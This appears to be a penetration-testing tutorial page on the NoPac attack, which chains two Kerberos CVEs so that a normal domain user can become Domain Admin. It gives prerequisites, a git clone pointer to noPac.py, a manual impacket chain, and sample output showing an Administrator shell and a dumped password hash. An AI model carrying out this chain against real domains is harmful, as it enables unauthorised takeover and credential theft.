NoPac: sAMAccountName Spoofing
NoPac chains two CVEs: CVE-2021-42278 (machine account sAMAccountName spoofing) and CVE-2021-42287 (KDC name confusion). Any standard domain user with machine account creation rights can escalate to Domain Admin by creating a machine account, renaming it to match a DC name, obtaining a TGT under that name, then exploiting the KDC's fallback behavior to obtain a service ticket with the DC's privilege context.
Prerequisites: ms-DS-MachineAccountQuota > 0 (default: 10) and DC not patched with KB5008380 or KB5008602 (November 2021).
LDAP 10.10.10.10 389 DC01 MachineAccountQuota: 10 SMB 10.10.10.10 445 DC01 [+] NoPac vulnerability confirmed
Automated exploit — noPac.py
noPac.py handles the full attack chain automatically: creates a machine account, renames it, requests TGT, performs S4U2self, and either provides a shell or dumps hashes. Install from GitHub: git clone https://github.com/Ridter/noPac.
[*] Machine account added: EVILPC$ [*] Renamed to: DC01 [*] Got TGT for DC01 [*] Restored sAMAccountName: EVILPC$ [*] Requesting service ticket impersonating Administrator [+] Got shell as Administrator C:\Windows\system32>
Manual exploit chain (impacket)
Step-by-step breakdown for environments where noPac.py is unavailable or blocked. The chain: create machine account, rename its sAMAccountName to match a DC (without $), obtain TGT, restore the name, then use S4U2self. The KDC cannot find the renamed account after restoration and per CVE-2021-42287 appends $, matching the real DC and issuing a service ticket with the DC's privilege context.
[*] Getting TGT for DC01 [*] Saved credential cache to 'DC01.ccache' [*] Impersonating administrator [*] Saved credential cache to 'administrator@[email protected]' Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
References
-
noPac.py (GitHub)github.com/Ridter/noPac (opens in new tab)
Automated NoPac exploit — scan, shell, and dump modes
-
Impacket (GitHub)github.com/fortra/impacket (opens in new tab)
addcomputer, getTGT, getST for manual chain
-
NoPac — Secureworks researchwww.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware (opens in new tab)
CVE-2021-42278 and CVE-2021-42287 combined exploit analysis
Was this helpful?
Your feedback helps improve this page.